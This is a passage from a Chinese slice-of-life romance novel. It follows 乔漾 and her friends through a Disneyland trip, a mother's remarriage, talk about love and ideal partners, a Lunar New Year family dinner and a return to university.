还是不一样的,有些人是朋友,有些人只是生活上的搭子。
一根雪糕吃完也休息得差不多了,附近的游乐项目都要排队半个小时以上,两个人走着走着又进了一家纪念品商店。
“这个好可爱。”乔漾眼冒桃心。
麦初已经数不清今天是第几次听到这话了,她觉得是时候管控一下乔漾的消费欲望了。
“你不刚买一对挂件吗?”
“那个是我要送给夏灿和她男朋友的。”
麦初用手指戳了戳吊牌上的两只小松鼠:“那这个你要跟谁用?”
乔漾即问即答:“我自己用啊。”
她说着就往结账处走:“我托特包上挂一个,斜挎包上挂一个,不行啊?”
“行。”麦初迈步跟上她,“这对我来买。”
沉浸在五彩缤纷的童话世界里不觉得疲惫,第二天起床乔漾感觉脚后跟一沾地都疼,小腿更是酸软无力。
洗漱完她又躺回了床上,朝麦初哭嚎说:“你要不租辆轮椅推我回去吧。”
“别躺了,一躺又要起不来了。”麦初早早收拾好了行李,还抽空下楼买了两杯咖啡。
乔漾翻身够到床头柜上的纸袋:“哪杯是我的啊?”
“你看标签。”
乔漾找到自己那杯气泡冷萃,借助咖啡/因让自己的头脑得以快速清醒。
“乔漾。”
“怎么了?”
麦初的声音从厕所里传来:“你包里有卫生巾吗?估计是昨天那根雪糕刺激的。”
“应该有的。”乔漾体质特殊,对一般棉质的卫生巾都过敏,所以会在随身的包里放几个以备不时之需。
“给你。”她拉开一点门缝,把手里的卫生巾递过去。
麦初舒了口气,嘴里说:“谢天谢地。”
“诶,你还记得你那个时候给校长信箱写了一个月的投诉信吗?”乔漾想起来就觉得好笑,“现在那个小卖部都被拆了。”
“拆了?为什么?”
“说是下了一个什么文件,反正就禁止在学校里售卖零食了。”
“啊?那现在的高中生也太惨了。”
“就是啊。”乔漾记得以前晚自习一下课后排那三个男生就直奔小卖部而去了,课间大家一起分零食,一包薯片三分钟就能见底。
后来她才发现不是商家缺斤少两,在大学宿舍里开的一包薯片一个礼拜都吃不完。
一趟迪士尼之旅让手机相册里多了几百张新照片,高铁匀速行驶,乔漾翻看着昨日的回忆,将满意的照片添加到收藏里,也久违地产生了分享欲。
她对麦初说:“我决定为你打开我的朋友圈。”
麦初手捂住心口,作出受宠若惊的样子,夸张语调回:“那我真是太~荣幸了。”
九宫格发出去没几分钟沉寂许久的聊天群就炸了。
莫知问:是乔漾去美国了还是麦初回来了啊?
陈天衢:?
杭以安:我靠,爷青回。
乔漾笑了声,捧着手机打字回:是的,人在纽约。
莫知:少来,我都看到你拍的安娜贝尔了。
乔漾无语道:人家叫玲娜贝尔啦。
麦初直接在群里@了莫知,说:听说你最近艳福不浅啊。
莫知:谁告诉你的?
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>其实想也不用想就知道她肯定是听乔漾说的,至于乔漾是怎么知道的……
莫知:陈天衢你给我等着/菜刀/菜刀/菜刀
陈天衢:我干嘛了?
莫知:你干了什么你自己知道。
在一片混乱中只有杭以安说了句正经话:那要不要出来聚一下啊?
刚刚还吵吵闹闹的聊天框一下子安静了,其他人都等着麦初先表态。
她的回复是:再说吧。
几秒后又追加了一句:姐最近档期很满的。
话题很快被岔到其他地方去,麦初摁熄屏幕打了个哈欠,对乔漾说:“我睡会儿。”
“好。”
从申城回羡市高铁全程两个小时,到站刚好是中午。
麦喆在微信上说他已经到了,出了站麦初问乔漾:“有人来接你吗?”
“本来我妈要来的,但早上她说她喉咙有点疼,让我先别过去了。”
“那你……”麦初本来想说要不要来我家住,但话到嘴边又收了回去。
“那你是回星河湾?”
乔漾点头:“嗯。”
“我哥在。”麦初指着门口说,“让他送你。”
“好啊!”
听说了那么多麦喆的事迹,这次乔漾终于见到真人了。
麦家兄妹俩很像,但又不止于五官上的相似。
他们有一样的温度和如出一辙的气质,乔漾在出站口外看到麦喆的第一眼就确定了他是麦初的哥哥,果不其然下一秒那个年轻男人就朝她俩走了过来。
“你们俩饿不饿啊?”车上,麦喆出声问,“要不要带你们先去吃点东西?”
麦初从副驾驶上回过头:“你想吃什么?”
乔漾拘谨一笑:“我都行。”
群里的消息还叮叮叮响个不停,她划开屏幕往上翻了翻。
“麦初。”乔漾开口说,“杭以安问后天行不行,去他家饭店吃。”
“后天,后天就是八号了吧?”
“对。”麦喆打转方向盘,插话说,“八号可是个大日子。”
鲜花、蜡烛、从天而落的千纸鹤和香槟色绸带系成的蝴蝶结。
麦初一路走一路看,忍不住用胳膊肘碰了下身边的人麦喆,小声说:“这么大阵仗?我以为就几桌人一起吃个饭。”
麦喆从牙缝中挤出声说:“谁不是啊。”
门口接待处的女人接过礼金,礼貌地询问:“是男方亲属还是女方亲属?”
“女方,新娘儿子。”麦喆搂了一下麦初的肩,“还有女儿。”
麦初头一次知道原来瞳孔地震不是一个夸张化的表达,那震惊又被勾起好奇心同时暗含着吃到大瓜的兴奋表情太惹人发笑了。
“咱俩是不是不该来啊?”她悄悄问麦喆。
“来都来了。”
这屋子里的大多数亲朋好友都知道邵敏离过婚,现在带着一对双胞胎女儿,却很少有人知道她和前前夫还有一双儿女。
要怪就怪当年麦旭文穷小子一个却又不知道哪来的滔天魅力,让邵敏头脑发昏为了他和家里闹翻,婚也是偷偷结的。
所以外公外婆一向不喜欢他俩,他俩也懒得卖乖讨好,两边这么多年几乎不走动。
“你居然还准备了红包。”麦初抱着胳膊踏进宴会厅,她目测那厚度至少也有个一万。
“麦旭文包的。”
麦初脚步一顿。
“哇哦......”她还以为麦旭文压根不知道这事,就算知道了也会当作不知道。
麦喆点了点头,说:“爱过。”
5. 婚礼日
婚礼正式开始前麦初去了趟新娘休息室,化妆镜前围了不少人,有邵敏的闺蜜也有表姐妹们,两个女儿也在。
不知道一动一静是不是所有双胞胎的标配,姐姐羽璇第一个抬头看见她,碰了碰身边的妹妹但没吱声。
羽琪的性格就开朗多了,立刻站起来喊她:“麦初姐姐。”
“嗨。”麦初抬手比了下小姑娘的个子,“长这么高啦,都要追上我了。”
“是麦初来了吗?”邵敏提高声音喊,“初初。”
“诶。”麦初放下胳膊。
旁边有人问:“谁啊?看着有点面熟的呢。”
邵敏“啧”了一声:“我大女儿呀!”
屋里所有目光都汇聚过来,麦初保持微笑,把手里的袋子放到化妆桌上,说:“这个给你,新婚礼物。”
化妆师正在给邵敏盘头发,她脑袋动不了,只能往那袋子瞄一眼,问:“什么东西啊?”
“前两天刚好去迪士尼了。”麦初取出袋子里的玩偶,“看到觉得挺应景的。”
邵敏没选择夸张的白色婚纱,缎面长裙在灯下泛着温柔的光泽,她起身拉过麦初的手,说:“谢谢宝贝,正好我放车里。”
“你喜欢就好。”
“你哥呢?”
“外面抽烟。”麦初在沙发上坐下,手里被递了杯玫瑰花茶。
女人们继续刚刚被打断的话题,有个阿姨在为女儿过早到来的生理期烦扰。
“羽璇羽琪也是六年级就来的,都正常的,现在的小孩早熟。”邵敏宽慰她说。
麦初抬高手里的纸杯抿了口有些冷却的茶水。
没过多久就有人来喊婚礼马上开始,让新娘做好准备,其他人也得入席了。
麦初跟着起身,还没来得及迈步子手腕就被邵敏拉了一把,示意她先别动。
“羽璇羽琪你俩跟着小阿姨啊,别乱跑。”
等屋里只剩下母女两个人,邵敏朝麦初温柔地笑了笑,说:“你能来妈妈真的好高兴。”
麦初垂眸看着两人交叠在一起的手,忽然掀眼看向邵敏,问了个上文不接下文的问题:“你知道我第一次来月经是什么时候吗?”
这问题邵敏肯定答不上来,麦初也不打算为难她。
她说:“初一开学那天,我吓死了,家里就麦喆在,他也什么都不懂,他去超市把货架上的卫生巾全买了一遍。”
邵敏眼神里闪烁的错愕和愧疚并非她所看见的,所以麦初立刻又说:“我就是想跟你说一下。”
“宝贝……”
“别跟我道歉啊。”麦初打断她,“大喜日子。”
敲门声响起,门口的人提醒说:“邵总,可以准备过去了。”
邵敏从沙发上站起身,麦初帮她理了理裙摆和头发。
“这次是真爱了不?”她打趣说。
“嗯……”邵敏沉吟后开口,“不知道,得往后看。”
麦初弯了嘴角,她挺佩服她妈的,算得上是个敢爱跟恨的女人,爱就缔结誓约,不爱就一拍两散,一切决定都由心而动,现实中很少有人能活成这样。
“祝你幸福。”
邵敏抚了抚她的发尾:“你也要幸福。”
麦初和麦喆被安排在了主桌,这一桌基本都是双方至亲。
落座前麦喆主动喊了句“外公外婆”,二老点点头就算打过招呼了。
麦初跟两个妹妹也不亲近,基本上好几年才能见一面,但羽琪这丫头属于百分之百的e人,一点不怕生,跟谁都笑嘻嘻的,她一会儿抓起麦初的手看看,一会儿又研究上了她的头发。
“我也想把发尾染了,开学前直接剪掉就行。”
她这话一出就被外公冷冷瞪了一眼,老头快八十岁了耳朵倒是一点不背。
羽琪小声告诉麦初:“但妈妈死活不同意。”
麦初扯了扯嘴角,感受到自己被人盯着,闭嘴没说话。
这场婚礼双胞胎也有重要任务,很快就被人叫走了。
四周好奇的打量和窃窃私语声实在太密集,让人想忽视都难。
麦初从包里取出口袋相机,想给自己找点事干。
这东西是麦喆送她的生日礼物,以前每年这个时候他问麦初想要什么礼物她都说随便,今年破天荒地指名道姓点了一个,那当哥的肯定得满足。
“怎么突然想拍视频了?”麦喆问。
“记录生活不行啊?”麦初举起相机面向他。
麦喆抬手挡住镜头:“拍我要给出场费的啊。”
“嘁。”麦初转身将取景框对准别处,她没告诉麦喆其实她的账号已经有一千左右的关注量了。
原本就是想找个地方作日记本和发泄情绪的树洞,一年两年还真攒下了点粉丝,虽然不多,但也不至于自说自话。
舒缓的音乐声响起,与此同时宴会厅的灯光也暗了下来。
两个已过半生的中年人手挽着手走上舞台,这场婚礼没有繁琐的礼节,甚至连司仪都没有。
等新郎新娘走到舞台中间,穿着白裙的双胞胎为他们送上戒指,在掌声和祝福中两人幸福相拥。
麦初鼓着掌,凑近麦喆悄悄说:“你妹妹长得越来越漂亮了。”
麦喆将手搭在她的肩上:“别这么夸自己好不好?”
“我是说……”麦初没再把话说完,她知道麦喆是故意这么回答的。
麦喆拍了拍她,说:“心情有点奇怪。”
麦初也把手搭到他肩上:“懂。”
出国留学前麦旭文喊了一大堆亲戚来家里吃饭,那天江杉也来了。
酒过三巡,麦旭文牵起身边人的手,向众人宣布:“我俩把证领了,一把年纪也不大操大办了,今天家里人都在,就当是给我们俩办的宴,以后江杉就是一家人。”
那会儿麦初还会偷偷感到难过,现在她不了,她甚至跳脱地想,如果再玩一次高中那个“你有我没有”的游戏,她将拥有一个别人都不可能有的必杀技。
——“我参加过爸妈的婚礼。”
不过是分开参加的。
隔了几天乔漾又在微信上问她有没有空,说陈天衢也从陆州回来了,要不要叫上男生们一起出来吃个饭。
看到消息的时候麦初刚一觉睡醒,她这几天基本没出过房间门,连饭菜都是阿姨做好端进来的。
窗帘遮挡阳光,卧室里昏暗而安宁。
混乱的作息让麦初分不清是白天还是晚上,她伸出胳膊打字说:我喉咙疼,估计是阳了。
乔漾回得很快:吃药了吗?
不到两秒她又说:那你赶紧好好休息!
麦初回了个汤姆猫裹着毯子耷拉着眼皮的表情包,说:我继续睡了。
她发完就把手机往枕边一丢,扯了下被子重新裹住自己。
睡得太多脑袋昏昏胀胀的,麦初承认感冒是她找的借口。
不想见面不是因为太久不联系生分了,当然或多或少也有这层因素在。
她要回国的消息原本就只告诉了乔漾一个人,她要回来乔漾肯定得知道,这跟她想不想见没关系,这是必须得说的,不说不像话了。
但其他人……
麦初说不清楚是怕见还是不想见。
她就是觉得老友重逢这种时刻理应是温馨的、快乐的,但她现在调动不出自己积极热情的一面,她最近的状态太差了,邵敏的婚礼已经把她的电量耗光。
而且几天后她就得飞回纽约,所以在剩下的时间里她只想这样一个人窝在房间里,窝在她最熟悉、最柔软、最温暖的床铺里睡上饱饱的一觉又一觉。
-
夏灿搬进新家后乔漾在星河湾也住得少了,寒暑假要么回溪水村要么就去苏桐那儿。
此时此刻听到一阵门铃声,她浑身汗毛立刻竖起,警觉地扬声问:“谁?”
“我啊。”
乔漾一愣,快步走向门口。
“你怎么来了?”
“我来我奶奶家吃饭。”
五分钟前夏灿刚问她人在哪,乔漾回了个“家”字,把夏灿气得直接发了条语音过来骂她:我当然知道你在家!我问你哪个家!
乔漾赶紧回复:星河湾。
这之后聊天框就没声了,再然后就是让她虎躯一震的一声“叮咚”。
大门拉开,夏灿一只
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腿先伸进来抵住门,弯下腰把地上的纸箱搬进屋里,问乔漾:“这什么啊?你家门口的。”
“哦对。”乔漾上前搭了把手,“早上快递员给我打电话了。”
“你买什么了?好重啊。”
“我也不知道。”乔漾伸长脖子去看快递单上的寄货信息,“陆州寄过来的?”
“你拆开看看呢。”夏灿带上门,从鞋柜里拿了双拖鞋出来,“我还以为你去你妈那儿了。”
“本来要去的,她正病着呢,我说要过去照顾她,她让我自己好好待着。”乔漾从架子上找到一把剪刀。
夏灿点点头:“是,别到时候你也倒了。”
纸箱上的胶带被“刺啦”一声划开,乔漾挪开表面的冰袋。
“什么东西啊?”夏灿把脑袋凑过来。
乔漾取出里头的真空包装袋,愣愣回答:“牛肉丸。”
“你买这么多?”
“应该是陈天衢给我寄的。”乔漾把拆完的纸箱放回门口,“你要不带点回家?”
“带回家也没人吃,我们家很久没人开火做饭了。”
“为什么?”
“我跟我爸老不在家吃饭,我妈就罢工了。”夏灿从口袋里掏出两颗橙子,“这红美人是我爸单位发的,夏阳阳刚刚一口气吃了一盘,给你拿了两个尝尝。”
“我也有东西要给你。”乔漾说完就蹬蹬蹬地回了房间,再出来时手里拿着两只挂件,递给夏灿说,“给你。”
夏灿伸手接过,问:“你去迪士尼买的啊?”
“嗯,你跟你家许长溪正好一人一个。”
“谢谢咯。”夏灿晃了晃手里的挂件,“我俩还真的没什么情侣款的东西。”
乔漾反驳她:“你俩情侣皮肤没少买吧?”
“那不算。”
冬天家里格外湿冷,乔漾穿着睡衣,夏灿干脆也把外套脱了,两个人进了被窝里躺着。
夏灿的新家更靠近市中心,离星河湾虽然也不远,但到底不如从前就隔着个广场那么方便,她俩也好久没这么窝在一起了。
从迪士尼回来后乔漾重新打开了朋友圈,现在闲来无事,她趴在抱枕上翻看起错过的好友近况。
“我去,这是见家长了吗?”
夏灿好奇道:“谁啊?”
乔漾把手机递过去:“就我们班上那对情侣,大二开始谈的,寒假一起回湖北了,还有在家里吃饭的照片,估计是见家长了。”
夏灿扫了眼:“嗯,打算毕业后要结婚了吧。”
“可咱们零零后不是说好不婚不育的吗?”
夏灿翻身躺到床上:“说是那么说,但大部分人到了年纪肯定还是老老实实结婚生孩子,何况这种谈了好几年的,感情稳定,毕业了考虑结婚很正常的。”
“不行。”乔漾表情严肃,“我还没做好准备。”
夏灿觉得这话好笑:“你要做什么准备?又不是你结婚。”
即使法律宣判他们这批零零后已经到了结婚的年龄,乔漾总觉得这还不是他们这个年纪的人该干的事。
想到夏灿和许长溪也谈了好多年且感情稳定,乔漾更慌了,她倒抽一口气问:“你不会也打算结婚了吧?”
“结个屁啊。”夏灿一只手拄着脸,“我还有一年才毕业呢。”
“那也快了。”
这几年夏灿和许长溪也不是没吵过架,情侣间难免会有磕磕绊绊的时候,只要有人先服个软递个台阶,另一个人再顺着爬下这事基本就翻篇了。
他俩的性格并非天生契合,但能玩在一块儿,也能在碰撞和摩擦中互相扶持着一起成长。
所以在乔漾心里这两个人是肯定会结婚的,不过不是现在,至少得再晚个几年。
夏灿下巴压着掌心张不开嘴,懒懒发问:“晚几年?”
乔漾撅了撅嘴:“要不等我找到男朋友再说?”
“……”夏灿双手捧住手机,“许长溪好像有几个朋友长得挺帅的。”
乔漾一把摁住她要打字的手:“我不要体育生。”
夏灿翻眼一想:“他哥?”
乔漾吓到起立:“那更可怕!”
6. 理想型
夏灿手握成一个空心拳,假装举着话筒做采访:“那请问这位小姐你的理想型是——?”
乔漾身体一歪倒在床上,摊平四肢说:“我也不知道。”
她最近心里乱得很,朋友圈翻来覆去都是别人的幸福生活,乔漾很快便觉得索然无味,再次点开设置将它踢出功能列表。
为情所困的少女看着天花板发了会儿呆,忽然启唇问:“如果有一个相处起来很舒服的人,你说做朋友好还是做恋人好?”
夏灿喝了口可乐,敷衍地回:“你这什么破问题啊。”
乔漾支起身,加重语气说:“我认真的,你好好回答。”
夏灿只好放下可乐瓶,直视着乔漾的眼睛反问她:“那你为什么觉得只能二选一呢?”
乔漾蹙了蹙眉:“什么意思?”
夏灿抿唇看着她,欲言又止。
“你说呀。”
“那你听了不准不开心。”
乔漾催促她:“你快说。”
“好吧。”夏灿盘腿坐到她对面,“就像我和许长溪,在过去的四年里,你在陆州我在宁城,我们俩只能在微信上发发消息,是许长溪在我身边,听我抱怨,陪我复习,和我在吃薯条的时候比赛谁能找到最长的那根,就像你会做的那样。”
乔漾嘴唇微张,不可思议道:“你居然和他玩这个?那是我发明的游戏诶。”
她越说越来气:“你居然和别人玩,还是男人?”
夏灿简直要晕倒:“我就说你会生气。”
“可我还是不懂你什么意思啊。”
“我是想说。”夏灿放缓语速,“他是我男朋友,但也是我的好朋友,不是说选了前者就不能有后者了。”
乔漾眨了眨眼睛:“是哦。”
屏幕上弹出语音通话申请,夏灿往下瞥了眼,嘴角一瞬间有了弧度。
乔漾酸溜溜地问:“‘好朋友’打来的?”
夏灿睨了她一眼,将手机放到耳边。
“喂。”
“吃完了,我在乔漾家呢。”
“你洗完头记得吹干再出门啊,别感冒了。”
小情侣腻歪着,乔漾用脚够到拖鞋,拿起床头柜上的水杯出了房门。
过了会儿她听到夏灿喊她,问:“你高兴和我们一起去看电影不?我让许长溪再买张票。”
“不了。”乔漾喝了口热水,走回卧室说,“我脚还痛着呢,走不了路,你们去吧。”
小腿酸胀好几天了,从申城刚回来那天夜里她觉都没睡好。
夏灿把手机拿远了些,问她:“还痛呢?”
“嗯。”
电话里许长溪又问了句什么,夏灿说:“还是血糯米的吧。”
她挂了电话把手机往床上一扔,拍拍身边的床铺说:“过来,我给你按按。”
“管用吗?”乔漾放下杯子趴过去。
“我不知道现在按还管不管用,反正以前体测完许长溪都给我松松肌肉,第二天起来真的一点事都没,不然得疼好几天。”夏灿跪坐在她身侧,给她按摩小腿肚,“舒服吧?”
“舒服。”乔漾歪着脑袋趴在胳膊上,腿上的力道不轻不重,她闭眼放松神经,忽而又想起夏灿刚刚那句话。
她承认被男朋友替代走她在夏灿身边的位置让她很是难受,可换个角度想,她又庆幸自己缺席的时间里夏灿能有一个许长溪陪着。
“不许一毕业就结婚啊。”她再次强调。
“你就放一万个心吧。”
夏灿没在乔漾家待太久,许长溪的车很快就到楼下,走之前她朝乔漾挥了挥手:“走了啊,拜拜。”
“嗯。”乔漾靠在沙发背上看着她出了门。
大门砰一声合上,家里又只剩下她一个人了。
窗帘缝隙中透出几缕阳光,驱散了冬日室内的阴冷,乔漾被光亮所吸引,偏头看过去。
这么好的天气,在被窝里虚度光阴确实有些浪费。
叮咚——
以为是夏灿落什么东西了,乔漾赶紧迈步去开门。
“喏。”门一拉开夏灿就伸手递了杯奶茶进来,说,“许长溪买给你的。”
“哦嚯。”乔漾嘴角绽开笑容,“还有我的份哪?”
递完奶茶夏灿没走,胳膊靠在门框上,问乔漾:“你就一个人在家啊?”
“那不然?”
夏灿又问了一遍:“你真不来?现在买票还来得及哦。”
乔漾撇开视线瞄了眼别处,嘴里嘟囔:“你俩约会,我跟着去当电灯泡不太好吧。”
夏灿“哼”了一声:“你来谁是电灯泡还不一定呢。”
乔漾冲她眨眨眼睛,夏灿识破她的小心思,直接下了道命令:“给你三分钟换衣服。”
“我很快。”乔漾拔腿往房间里跑,“很快!”
许长溪拿到驾照后就迫不及待想上手,许鸣升本来打算直接给他买辆车,丁岚不同意,把自己那辆白色3系给他开了。
原本他俩想着许长溪的生活圈子简单,无非就是家、游泳馆、球场那么几个地方来回跑,开不到什么车,谁知道没过多久这小子就回家说谈恋爱了,以后约会得接送女朋友。
这下丁岚不好再反对,小伙子家家该有的排面还是得有,让许鸣升好好给他挑了款新车。
夏灿老跟乔漾说许长溪的小脑筋多的是,也是个聪明的,就是不用在正道上。
这辆车乔漾也没少坐,以前寒暑假她要是和夏灿约着出去玩,结束之后肯定是许长溪挨个送她俩回家,是位勤勤恳恳的专车司机。
乔漾拉开车门坐进后座,许长溪回头和她打了声招呼。
乔漾扬起微笑说:“谢谢你的奶茶。”
他俩高一的时候同班,比许长溪和夏灿认识得还要早,说起来乔漾还能算他俩的半个红娘。
夏灿扣好安全带,问许长溪:“赵钰成回家了啊?”
“对啊。”许长溪早上打篮球去了,刚回家洗好澡换了身衣服。
夏灿说:“你应该把他一起叫上的。”
“人家也要陪女朋友的。”
“啊?他谈恋爱啦?”
“对啊。”许长溪飞快瞥了她一眼,疑问中带着一丝慌张,“怎么感觉你还挺惋惜的呢?”
“我哪有。”夏灿朝后翘起大拇指,“不是想把他介绍给乔漾吗?”
乔漾原本正望着车窗外的景色发呆呢,听到自己名字瞬间挺直了背:“啊?什么?”
夏灿憋着笑和许长溪告状:“乔漾说等她找到男朋友了我们俩才准结婚。”
“那她什么时候找到男朋友?”
夏灿回答说:“未来不知道,反正前二十二年没找到过。”
乔漾咬着下唇一巴掌拍她肩上。
夏灿吃痛叫唤,还好冬天衣服厚。
“那不行啊。”许长溪急了。
他从后视镜里看向乔漾说:“你放心,我还认识好多单身的。”
夏灿哼哧哼哧地笑起来。
乔漾摇头拒绝:“我不要体育生。”
许长溪立马问:“那你觉得我哥怎么样?”
夏灿笑得更大声了。
乔漾一连说了好几个“别”,手摆得都要断了。
“为什么?许恩霖多帅啊。”
“就是......”话说到一半夏灿才反应过来,这小子是在变相夸自己呢。
“少自恋啊。”她抬手推了下许长溪的脑袋。
许长溪嘿嘿笑着,他本来也就是说着玩的,要真让他跑去跟许恩霖说“我给你介绍个女生呗,夏灿朋友”,许恩霖保证让他有多远滚多远。
“年级第一,太可怕了。”乔漾说着就打了个寒战。
许长溪问她:“那你喜欢什么样的?”
这问题一个小时前夏灿刚问过她,乔漾答不出来。
一直没听到后排的人出声,夏灿扭过脑袋朝后看,乔漾双目无神,正盯着空中一点发愣,也不知道在想什么。
她今天是有点奇怪,像是藏了心事。
夏灿收回目光,某个猜测蹿进了脑海里。
“你是不是有喜欢的人了啊?”她毫不犹豫地问出了口。
乔漾视线重新聚焦,仍然没吱声。
“谁啊?”夏灿试探着问,“也是你们陆大的?”
“嗯。”
夏灿睁大眼睛愣住了,居然还真是这么一回事,印象中乔漾很少提起大学里认识的男生,她还以为她就没这个心思。
“到底谁啊?你跟我提过吗?”
乔漾自己心里还乱着,不知道如何开口,哎呀一声挠了挠脖子。
“马上就毕业了。”许长溪善意也是故意提醒道,“你可得抓点紧啊。”
-
一晃眼就要过年了,乔漾的论文初稿直到小年夜才被导师给了“pass”。
这是她人生最后一个寒假了,居然还是在反复改稿中度过的。
年初一二乔汐都得值班,初三才得空回了羡市,这次吴昊也跟着她来了。
小夫妻俩婚后第一次一起回来过春节,乔凯给包了个大红包,给的时候说的是“平安”。
前两年特殊时期,吴昊跟乔汐都得冲锋在前线,尤其吴昊,本身就是呼吸科的,好一阵子连家都回不了,甚至连母亲的丧事都只是下葬当天匆匆
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去了一趟。
那次是乔汐和科室里申请调了三天假,完事后的半个月她几乎是连轴转。
乔漾好久没见姐姐姐夫了,乔汐还是老样子,吴昊也和以往一样,每次见面都给她带个小礼物。
中午他们是在溪水村吃的,爷爷奶奶家来了一大堆亲戚,好多都没见过吴昊,一问才知道小两口已经结婚了。
“汐汐,怎么结婚都没请我们去吃喜酒啊?”
乔汐笑了笑,不知道该怎么回答,还是乔凯出声接过了话茬:“你别忘了我们家两个医生啊,忙着呢,先领了证,还没正式办婚礼。”
“啊对,我糊涂了。”大伯给他俩比了个大拇指,“舍小家为大家,伟大!我给你们点赞!”
乔汐扯扯嘴角,吴昊举起手边的杯子,乐呵呵道:“谢谢大伯。”
乔漾拿了颗草莓塞进嘴里,偷偷和乔汐说:“等着吧,马上就催你俩生小孩了。”
乔汐从她手里分走一颗,说:“马上就催你找男朋友了。”
“哈哈。”乔漾毫无感情地笑了两声,把草莓叶子丢到垃圾桶里,“你说大人们神不神经,高中的时候防着你早恋,要大学毕业了又催着你赶紧谈一个,我的心又不是定时炸弹,到年龄了自动爆炸。”
乔汐笑着用胳膊肘打了她一下,她都没发现乔漾还有说脱口秀的天赋。
晚上他们没继续留在溪水村,难得回家一趟,苏桐也等着几个孩子来拜年。
把他们仨送到公寓楼下乔凯就打算走了,但两个女儿一边一个架住他,不让他逃。
“来都来了。”
“大过年的。”
“上去吃呗。”
“又没外人。”
“不合适啊。”乔凯一个劲推脱,离婚后他和苏桐不是没坐在一起吃过饭,但直接到人家家里去还是不太一样,哪有前夫给前妻拜年的。
“上去吧,爸。”吴昊笑着说,“不然就我一个男同胞了。”
“就是啊,难得嘛。”
乔凯抽回自己胳膊,正了正外套衣摆。
“行。”他心一横,往楼道口指了下说,“我陪陪吴昊。”
电梯间里就他们四个,乔凯一会儿咳嗽一声,一会儿又扒拉着乔漾包上的挂件问:“这什么,老鼠啊?”
“是松鼠啦!”知父莫若女,乔漾对他说,“你别紧张啊。”
“我紧张什么。”乔凯把手背到身后,“我不紧张。”
苏桐准备了鸡汤火锅,等五个人整整齐齐地坐在餐桌边,乔漾眼珠子骨碌转悠,止不住地想笑。
这一桌人已经分成了起码三个家庭,但对她来说都是最亲最近的人,那就还是一家人。
汤底很快沸腾,热气飘散开来,苏桐撇了撇浮沫,对他们说:“开吃吧。”
“这丸子可是陆州超级有名的老字号。”乔漾将牛肉丸和牛筋丸下到锅里,“纯手打,绝对正宗。”
乔汐撸了撸袖子,摆出一副要大干一场的架势:“那我今天要放开吃了。”
“乔漾今年就毕业了吧?”吴昊问。
“嗯。”
“读研吗?”他刚开口乔汐就在桌子底下踢了他一脚,但为时已晚,吴昊眨巴眨巴眼睛,还没意识到自己说错话了。
乔漾抬起头回答:“不读,已经找好工作了。”
这话题一开她就知道乔凯又要逮着机会啰嗦一遍,果不其然下一句就是“爸爸觉得你还是要继续念下去,现在本科生在社会上没什么竞争力的”。
乔漾已经感觉耳朵在隐隐作痛,坦言道:“我不想再念书了。”
“为什么不念?”乔凯放下筷子,“人家小陈都保上研了,你看看你。”
“他保研关我什么事啊?”乔漾最烦听到这些话,干脆也挑他们不爱听的怼回去,“我不,我就想混日子。”
乔凯简直恨铁不成钢,纳闷道:“你怎么到大学里还堕落了呢?”
“嗐呀。”乔汐出来打圆场,“她不从小就是这个性子吗?也就高中三年勤奋一点,再说混混日子也没什么不好的,健康平安就行了。”
“是。”吴昊赶紧附和,“健康就好。”
乔凯只能看向苏桐,对方借着下菜躲开了他的目光,他不知道孩子亲妈早就叛变了,乔漾美术馆那工作就是她帮忙留意的。
“‘小陈乖,小陈好。’”乔漾一边捞丸子一边阴阳怪气,“‘小陈怎么不是我生的呢?’”
“你个丫头。”乔凯气不打一处来。
“好了,别气你爸了。”苏桐发话说。
“快吃啊。”乔漾把牛筋丸舀到乔凯碗里,“这可是你的宝贝小陈排队去买的。”
7. 爱与欲
年一过没几天就是返校日,以前对乔漾来说这无疑是至暗时刻,每次收拾行李的时候都能掉两滴眼泪,但也许是知道这是最后一次了,今年她居然意外地对开学充满期待。
二月的江南仍旧是湿冷的冬天,陆州却已有了春的迹象,再过一阵子就又到了木棉花盛开的季节。
一下飞机乔漾就脱了厚重的冬衣外套,这次她特地提前了两天回来,门口等候上出租车的乘客还是大排长龙。
乔漾怀里抱着件外套,腾不出手拿手机出来打发时间,只能这么干站着,等了将近二十分钟才上车。
太久没活动筋骨,她拎着行李箱一抬手就感觉胳膊上的肌肉抽搐了一下,好在司机师傅过来搭了把手。
乔漾向他道了声谢,拉开车门坐进后座。
“去哪里?”
“陆大,南门。”乔漾捏了捏紧胀的胳膊,应该是不小心抻到筋了,以前返校总归是和陈天衢一起,有个伴路上没那么无聊,她也不用担心行李太重搬不动。
陈天衢……乔漾叹了声气,脑袋一歪靠到车窗玻璃上,从口袋里摸出蓝牙耳机。
这小子过完年就先回陆州了,说是在学校附近找了个实习,乔漾算算都快有小半年没见过他了。
室友们都还没到,一个多月没住过人的宿舍充斥着股霉味。
乔漾打开门窗,早已对南方的潮湿习以为常。
她沾湿洗脸巾擦了擦桌子上的灰尘,面不改色地把两顶发了霉的棒球帽丢进垃圾袋里。
去年沈靖她们毕业离校后宿舍里新来了三个女孩,都是大一新生,刚刚成年,还处在一个对什么都好奇、看什么都新鲜的年纪,用网上的话形容就叫“清澈又愚蠢”。
至于她这个大四老人,乔漾将擦好的镜子放回桌面上,目光落向镜中的自己。
大概只剩下“愚蠢”,还有沧桑,还有要死不活。
换完床单和被套,乔漾将手机和充电宝一起丢到了床上,现在她可以只用三下就爬上去。
遮光床帘框出了一个昏暗而安静的小世界,乔漾调整了一下靠枕的角度,将玩偶抱到怀里,点开手机里那部没看完的古偶剧。
没过多久她就哈欠连天,如果不是班群里弹出新消息,她大概就要倒头睡着了。
学习委员@全员,提醒他们说:记得把文学课的作业打印出来交到老师信箱哦~
“啊对。”乔漾闭了下眼,差点把这事忘了。
她翻身下床,抓起桌上的校园卡和钥匙丢进外套口袋里,握着手机出了门。
外头阳光正当灿烂,地面上树影婆娑,乔漾打了个哈欠,犹豫要不要买杯冰拿铁提提神。
教师信箱在学院一楼,她找到文学老师的名字,将手里的A4纸塞进投信口。
还是买一杯吧,转身的时候乔漾终于做好了决定。
“乔漾。”
“学姐?!”乔漾展颜笑起来,“哈喽,好久不见。”
俞悦今年研二了,长卷发配上标志性的红唇,法式复古风的坚定贯彻者,贝雷帽和长风衣让她今天看起来像个艺术家。
“最近怎么样?”
“挺好的。”
两个人并肩走出院楼,路上聊了几句,乔漾才知道俞悦马上也要走了。
这个学期开始学校全面恢复了国际交换项目,俞悦刚刚就是来交材料的,顺利的话下个月就能动身去巴黎。
“真好。”乔漾为她高兴。
“本科的时候没申请到名额,这次正好赶上了。”俞悦问她,“你呢,毕业以后什么打算?”
“回家工作呗。”
